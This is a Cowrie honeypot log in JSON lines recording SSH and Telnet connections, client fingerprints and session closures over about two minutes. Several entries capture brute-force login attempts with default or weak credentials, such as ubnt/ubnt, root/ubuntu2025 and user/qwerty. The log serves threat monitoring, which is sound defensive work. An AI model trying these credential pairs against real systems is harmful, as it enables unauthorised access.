{"eventid":"cowrie.session.closed","duration":32.1543288230896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:00.459336Z","src_ip":"67.23.227.170","session":"88ad634754ee","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:00.732563Z","src_ip":"198.235.24.148","session":"5aff49df5cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:01.744107Z","src_ip":"198.235.24.148","session":"5aff49df5cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:10.391610Z","src_ip":"198.235.24.148","session":"5aff49df5cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":26936,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a59fb8657a7","protocol":"ssh","message":"New connection: 49.247.36.49:26936 (10.17.0.5:22) [session: 3a59fb8657a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:13.525328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:13.530515Z","src_ip":"49.247.36.49","session":"3a59fb8657a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:13.740148Z","src_ip":"49.247.36.49","session":"3a59fb8657a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu2025","message":"login attempt [root/ubuntu2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:14.607958Z","src_ip":"49.247.36.49","session":"3a59fb8657a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:15.821721Z","src_ip":"49.247.36.49","session":"3a59fb8657a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34422,"dst_ip":"10.17.0.5","dst_port":23,"session":"950cef935228","protocol":"telnet","message":"New connection: 64.227.101.30:34422 (10.17.0.5:23) [session: 950cef935228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:19.760275Z"}
{"eventid":"cowrie.session.closed","duration":0.013635396957397461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:19.773691Z","src_ip":"64.227.101.30","session":"950cef935228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.00296497344971,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:25.247228Z","src_ip":"64.227.101.30","session":"6924322fad80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39688,"dst_ip":"159.203.135.109","dst_port":23,"session":"e72135c1fe14","protocol":"telnet","message":"New connection: 68.183.198.12:39688 (159.203.135.109:23) [session: e72135c1fe14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:31.579977Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44254,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aaa04e0910f","protocol":"telnet","message":"New connection: 64.227.101.30:44254 (10.17.0.5:23) [session: 1aaa04e0910f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:31.889552Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44756,"dst_ip":"10.17.0.5","dst_port":23,"session":"da9aa497be8a","protocol":"telnet","message":"New connection: 64.227.101.30:44756 (10.17.0.5:23) [session: da9aa497be8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:33.846207Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42106,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1996cc5e0d","protocol":"telnet","message":"New connection: 68.183.198.12:42106 (159.203.135.109:23) [session: ea1996cc5e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:46.314405Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42680,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b5b4951265","protocol":"telnet","message":"New connection: 68.183.198.12:42680 (159.203.135.109:23) [session: b6b5b4951265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:50.196375Z"}
{"eventid":"cowrie.session.closed","duration":63.436859369277954,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:55:50.480959Z","src_ip":"64.227.101.30","session":"5c6545eaad5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45386,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a06cb347520","protocol":"telnet","message":"New connection: 68.183.198.12:45386 (159.203.135.109:23) [session: 5a06cb347520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:08.904222Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34324,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a772a3fb81","protocol":"telnet","message":"New connection: 64.227.101.30:34324 (10.17.0.5:23) [session: 01a772a3fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:10.058908Z"}
{"eventid":"cowrie.session.closed","duration":38.84922504425049,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:10.738659Z","src_ip":"64.227.101.30","session":"1aaa04e0910f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.060569047927856,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:14.640373Z","src_ip":"68.183.198.12","session":"e72135c1fe14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"157a68d79515","protocol":"ssh","message":"New connection: 49.247.36.49:47626 (10.17.0.5:22) [session: 157a68d79515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:24.597733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:24.602663Z","src_ip":"49.247.36.49","session":"157a68d79515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:24.803450Z","src_ip":"49.247.36.49","session":"157a68d79515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:25.638441Z","src_ip":"49.247.36.49","session":"157a68d79515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.8272750377655,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:25.673364Z","src_ip":"64.227.101.30","session":"da9aa497be8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42888,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e390c9b3596","protocol":"telnet","message":"New connection: 64.227.101.30:42888 (10.17.0.5:23) [session: 7e390c9b3596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:26.564383Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:26.842155Z","src_ip":"49.247.36.49","session":"157a68d79515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.83869934082031,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:27.152978Z","src_ip":"68.183.198.12","session":"ea1996cc5e0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41462,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6d28b0a071","protocol":"telnet","message":"New connection: 64.227.101.30:41462 (10.17.0.5:23) [session: 7a6d28b0a071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:28.861843Z"}
{"eventid":"cowrie.session.closed","duration":0.41568875312805176,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:29.277431Z","src_ip":"64.227.101.30","session":"7a6d28b0a071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":58980,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aea1f7c235d","protocol":"ssh","message":"New connection: 216.155.93.75:58980 (10.17.0.5:22) [session: 3aea1f7c235d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.155922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.159765Z","src_ip":"216.155.93.75","session":"3aea1f7c235d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.976808309555054,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.173061Z","src_ip":"68.183.198.12","session":"b6b5b4951265","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.316579Z","src_ip":"216.155.93.75","session":"3aea1f7c235d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":37522,"dst_ip":"159.203.135.109","dst_port":22,"session":"bff7a41fbb46","protocol":"ssh","message":"New connection: 193.46.255.86:37522 (159.203.135.109:22) [session: bff7a41fbb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.869220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.873505Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123_abc","message":"login attempt [root/123_abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:31.977818Z","src_ip":"216.155.93.75","session":"3aea1f7c235d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:32.009801Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:32.632888Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:33.136747Z","src_ip":"216.155.93.75","session":"3aea1f7c235d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt1","message":"login attempt [ubnt/ubnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:33.772363Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin","message":"login attempt [ubnt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:34.911697Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45400,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a38b6995152","protocol":"telnet","message":"New connection: 64.227.101.30:45400 (10.17.0.5:23) [session: 4a38b6995152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:35.419984Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"12345","message":"login attempt [ubnt/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:36.051650Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubntubnt","message":"login attempt [ubnt/ubntubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:37.190302Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:38.330755Z","src_ip":"193.46.255.86","session":"bff7a41fbb46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b20dbae4cd","protocol":"telnet","message":"New connection: 68.183.198.12:51070 (159.203.135.109:23) [session: 94b20dbae4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:46.048048Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.177.177.134","src_port":42180,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae938341291","protocol":"telnet","message":"New connection: 78.177.177.134:42180 (10.17.0.5:23) [session: 4ae938341291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:47.063421Z"}
{"eventid":"cowrie.session.closed","duration":38.673935651779175,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:47.578010Z","src_ip":"68.183.198.12","session":"5a06cb347520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.94421434402466,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:56.003006Z","src_ip":"64.227.101.30","session":"01a772a3fb81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.057275533676147,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:56:59.120580Z","src_ip":"78.177.177.134","session":"4ae938341291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59367823600769,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:02.157971Z","src_ip":"64.227.101.30","session":"7e390c9b3596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46754,"dst_ip":"159.203.135.109","dst_port":23,"session":"926dc5256059","protocol":"telnet","message":"New connection: 174.138.46.234:46754 (159.203.135.109:23) [session: 926dc5256059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:11.214858Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d85441a500a","protocol":"telnet","message":"New connection: 174.138.46.234:47078 (159.203.135.109:23) [session: 1d85441a500a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:12.260757Z"}
